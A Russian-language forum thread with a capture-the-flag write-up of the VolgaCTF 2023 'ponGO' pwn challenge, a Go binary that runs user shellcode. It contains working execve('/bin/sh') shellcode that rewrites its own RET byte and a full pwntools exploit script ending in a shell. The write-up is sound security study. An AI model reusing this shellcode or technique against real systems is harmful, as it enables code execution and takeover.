PDA

Просмотр полной версии : Мой первый решенный исполняемый PWN на Go. VolgaCTF 2023 Qualifie, ponGO PWN


AFANX
16.05.2023, 22:37
Ку, киберрекруты. На днях прошелы квалификацию на финал от VolgaCTF. Мне очень понравилось задание из категории PWN под названием panGO.


https://forum.antichat.xyz/attachments/29104987/img_84311e6123.png
Описание к заданию:

https://forum.antichat.xyz/attachments/29104987/1684257608929.png

Из описания очевидно, что исполняемый файл написан на языке Go.

Начнем

Первым делом проведем разведку бинаря.
Через команду file,можно удостовериться, что он и в самом деле написан на языке Go и имеет разрядность x64:

Код:



$ file pongo
pongo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Dz-Zak7yoXtjL4dI514X/d-dYG7rvd8sUmvrfmC_6/cUhYGDc4jTE6D_jWdyMj/uChabMmUmP_12iZKjc90, with debug_info, not stripped


Дальше проверим на защиты используя checksec:

Код:



$ pwn checksec pongo

Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)


Отключена рандомизация адресов, нет канарейки и отключен RELRO. Это хорошо, потому что если нужно будет оформить ропчик, то долго потеть не придется. Проверим еще на упаковщик:

Код:



xxd pongo | grep UPX


Результатов нет, поэтому живем. Последнее, что осталось, так это проверить на наличие функции, по тиму mmap(), потому что в описании сказано, что надо загрузить шеллкод. Для просмотра импорта функций юзану radare2. Запускаю его так:

Код:



r2 -d ./pongo


Конечно же, оформляю анализ бинаря командой aaaи пишу команду aflрезультат такой:

Код:



...
0x0047ddc0 14 762 sym.syscall._mmapper_.Mmap
...


Информацию о файле получил. Теперь, пожалуй, настало время запустить бинарь и поиграться с ним.

Код:



./pongo


Код:



&{[0 0 0 0 0 0 0 0] [0 0 0]}
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>>


Первым делом, заметим хэдер меню - &{[0 0 0 0 0 0 0 0] [0 0 0]}. Первая мысль об этом - структура. Выберем, например, 1 и сможем выбрать какой-то footer и записать туда данные. Причем выбрать footer можно только в диапазоне от 0 до 2 включительно. Вкид такой, что это массив, причем скорее всего в структуре его второе место:

Код:



&{[0 0 0 0 0 0 0 0] [0 0 0]}
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 1
[INPUT] Choose position in footer (0-2): 0
[INPUT] Choose footer num: -1


Теперь попробуем выбрать 2 пункт и ввести 8 букв A:

Код:



Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 2
AAAAAAA


Последний шаг - запуск. Тут увидим крах проги:

Код:



Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 3
unexpected fault address 0x7f2fa52e9000
fatal error: fault
[signal SIGSEGV: segmentation violation code=0x2 addr=0x7f2fa52e9000 pc=0x7f2fa52e8fff]
...



Ну, настало время реверса.

Реверс

Буду использовать radare2 и edb.

Среди функций можно обнаружить самые интересные для нас:

Код:



0x0048ef00 15 303 sym.main.run_shellcode
0x0048f040 5 533 sym.main.set_footer
0x0048f260 13 811 sym.main.main


Перейдем же к sym.main.main командой s sym.main.main; pdfи дальше наберем VV, чтобы удобнее было анализировать блоки.

Блок кода для функции footer():

https://forum.antichat.xyz/attachments/29104987/1684259258815.png

Перейдем к ней, чтобы узнать адрес, куда записываются введеные данные. В самом конце выполнения функции, введеные данные где-то сохраняются в памяти и адрес передается регистру rcx, адрес этой инструкции - 0x0048f211:

https://forum.antichat.xyz/attachments/29104987/1684259489796.png

Это нам понадобится для дальнейшей отладки. Теперь перейдем к функции sym.main.run_shellcode. Там нас инетересует выделение памяти, а точнее адрес этой памяти. Что происходит с наши вводом и скорее всего запуск шелла. При запуске функции сразу же выделяется память с правильными аргументами к фукнции, которая очень похожа на mmap():

https://forum.antichat.xyz/attachments/29104987/1684259683645.png

Она выделяет память и делает ее RWX, а адрес памяти возвращается в регистр rax, поэтому тоже запомним адрес инструкции - 0x0048ef45. Судя по коду, он просто копирует данные со структуры в новую память. Однако, больше всего нас интересует последний блок:

https://forum.antichat.xyz/attachments/29104987/1684259826759.png

Видим, call rax тут и вызывается наш шеллкод.

получили общее представление о бинаре. И что имеем:

Есть какой-то footer, который пока не понятно как юзануть

Можно вполнить шеллкод и его размер должен быть ровно 8 байт
Вся суть таска, на самом деле, заключается имменно в последнем блоке. Есть инструкция, которая срабатывает прямо перед call rax, и именно она делает ограничение на размер шеллкода:

Код:



mov byte [rbx + rax], 0xc3


Она в 9 позицию записывает инструкциюret = 0xC3 , таким образом делает разграничение между массивом интов и шеллкодом. Это необходимо обойти, потому что размер шеллкода увеличится в размерах до 33 байт!!!
Идея такая: пишем самомодифицириющийся код:

Сначала меняем байт C3, на какой-нибудь полезный(да хоть на NOP = 0x90)

Вместо чисел запишем части шеллкода

Выполнем его
Пишем эксплойт

Начну с написания шеллкода. Первая строка шеллкода будет инструкция которая меняет инструкцию RET:

Makefile:



mov byte [rbx+8], 0xC4


,где 0xC4, будет являеться составной частью инструкции inc ah. Дальше, думаю, нет смысла описывать как писать шеллкод для получения RCE:

Код:



BITS 64

section .text
global _start

_start:
mov byte [rbx+8], 0xc4
push 0x42
pop rax
inc ah
push rdx
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rsi
mov r8, rdx
mov r10, rdx
syscall


Теперь главное правильно записать скомпиленный шелл в интовый массив. Первые 8 байт от этого шеллкода обрежем и запишем в первую часть payload:

Python:



pl
=
b'\xc6\x43\x08\xc4'
plShell
=
b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62 \x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x 49\x89\xd2\x0f\x05'
pl
+=
plShell
[
:
4
]


Потом парсим шеллкод и пишем в переменные, которые будет отправлять элементам массива:

Python:



num1
=
u64
(
plShell
[
5
:
13
]
)
num2
=
u64
(
plShell
[
5
+
8
:
13
+
8
]
)
num3
=
u64
(
plShell
[
5
+
8
+
8
:
13
+
8
+
8
]
)


Записываем их в массив:

Python:



io
.
sendlineafter
(
b'[INPUT] >>> '
,
b'1'
)
io
.
sendlineafter
(
b'(0-2): '
,
b'0'
)
io
.
sendlineafter
(
b'num: '
,
str
(
num1
)
.
encode
(
)
)
io
.
sendlineafter
(
b'[INPUT] >>> '
,
b'1'
)
io
.
sendlineafter
(
b'(0-2): '
,
b'1'
)
io
.
sendlineafter
(
b'num: '
,
str
(
num2
)
.
encode
(
)
)
io
.
sendlineafter
(
b'[INPUT] >>> '
,
b'1'
)
io
.
sendlineafter
(
b'(0-2): '
,
b'2'
)
io
.
sendlineafter
(
b'num: '
,
str
(
num3
)
.
encode
(
)
)


И последняя часть, отправка первой части шеллкода:

Код:



io.sendlineafter(b'[INPUT] >>> ', b'2')
io.sendline(pl)

io.sendlineafter(b'[INPUT] >>> ', b'3')


Таким образом полный сплойт:

Python:



from
pwn
import
*
exe
=
context
.
binary
=
ELF
(
'./pongo'
)
def
start
(
argv
=
[
]
,
*
a
,
**
kw
)
:
'''Start the exploit against the target.'''
if
args
.
GDB
:
return
gdb
.
debug
(
[
exe
.
path
]
+
argv
,
gdbscript
=
gdbscript
,
*
a
,
**
kw
)
elif
args
.
EDB
:
return
process
(
[
'edb'
,
'--run'
,
exe
.
path
]
)
else
:
return
process
(
[
exe
.
path
]
+
argv
,
*
a
,
**
kw
)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript
=
'''
tbreak *0x{exe.entry:x}
continue
'''
.
format
(
**
locals
(
)
)
io
=
start
(
)
pl
=
b'\xc6\x43\x08\xc4'
plShell
=
b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62 \x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x 49\x89\xd2\x0f\x05'
pl
+=
plShell
[
:
4
]
num1
=
u64
(
plShell
[
5
:
13
]
)
num2
=
u64
(
plShell
[
5
+
8
:
13
+
8
]
)
num3
=
u64
(
plShell
[
5
+
8
+
8
:
13
+
8
+
8
]
)
io
.
sendlineafter
(
b'[INPUT] >>> '
,
b'1'
)
io
.
sendlineafter
(
b'(0-2): '
,
b'0'
)
io
.
sendlineafter
(
b'num: '
,
str
(
num1
)
.
encode
(
)
)
io
.
sendlineafter
(
b'[INPUT] >>> '
,
b'1'
)
io
.
sendlineafter
(
b'(0-2): '
,
b'1'
)
io
.
sendlineafter
(
b'num: '
,
str
(
num2
)
.
encode
(
)
)
io
.
sendlineafter
(
b'[INPUT] >>> '
,
b'1'
)
io
.
sendlineafter
(
b'(0-2): '
,
b'2'
)
io
.
sendlineafter
(
b'num: '
,
str
(
num3
)
.
encode
(
)
)
io
.
sendlineafter
(
b'[INPUT] >>> '
,
b'2'
)
io
.
sendline
(
pl
)
io
.
sendlineafter
(
b'[INPUT] >>> '
,
b'3'
)
io
.
interactive
(
)


Теперь поробуем продебажить, используя EDB:

Код:



$ python sploit.py LOCAL DEBUG EDB


Сделаем точки останова на адресах:

0x0048ef45 -mmap

0x0048f211 -запись данных в массив
Нажав F9 переходим сразу к первой записи в массив:

https://forum.antichat.xyz/attachments/29104987/1684261413891.png

В регистре теперь находится адрес памяти, куда записали часть шеллкода. Нажмем на F9 еще 2 раза и получим такой результат:

https://forum.antichat.xyz/attachments/29104987/1684261611930.png

Следующее нажатие перенесет в интрукцию сразу же после mmap():

https://forum.antichat.xyz/attachments/29104987/1684261666472.png

Перейдем по адресу, который находится в регистре rax:

https://forum.antichat.xyz/attachments/29104987/1684261750562.png

По участкам памяти(Memory Regions) можно понять, что это память является RWX:

https://forum.antichat.xyz/attachments/29104987/1684261801107.png

Дойдем до вызова шеллкода и просмотрим память:

https://forum.antichat.xyz/attachments/29104987/1684261836626.png

Отлично! Весь шеллкод в новой RWX памяти. Теперь выполним инструкцию, которая перезаписывает 9 байт:

https://forum.antichat.xyz/attachments/29104987/1684261906999.png

И сразу прыгаем в шеллкод:

https://forum.antichat.xyz/attachments/29104987/1684261934795.png

Как можно увидеть, байт C3 нам попортил инструкцию inc ah,однако после первой инструкции байт перезапишется:

https://forum.antichat.xyz/attachments/29104987/1684262001599.png

Доходим до syscall и получаем RCE:

https://forum.antichat.xyz/attachments/29104987/1684262036975.png

Код:



$ whoami
afanx
$


Таск на самом деле прикольный, потому что:

ПыВН Go бинаря и в самом деле необычно

Прикольная идея с самомодифицирующемся кодом

B13
17.05.2023, 01:03
Как говориться... Снимаю шляпу.

AFANX
17.05.2023, 16:52
B13 сказал(а):

Как говориться... Снимаю шляпу.


если интересная работа с радаром можешь чекнуть мои переводы:

Статья - Я ведь не из робких, всё мне по плечу. Реверс инжиниринг используя radare2. Часть 1 (https://forum.antichat.xyz/threads/1641802/)

B13
17.05.2023, 21:37
AFANX сказал(а):

если интересная работа с радаром можешь чекнуть мои переводы:

Статья - Я ведь не из робких, всё мне по плечу. Реверс инжиниринг используя radare2. Часть 1 (https://forum.antichat.xyz/threads/1641802/)

я читал эти статьи и сам работал с данным инструментом. Инструмент довольно интересный в правильных руках и пониманием того как нужно с ним работать.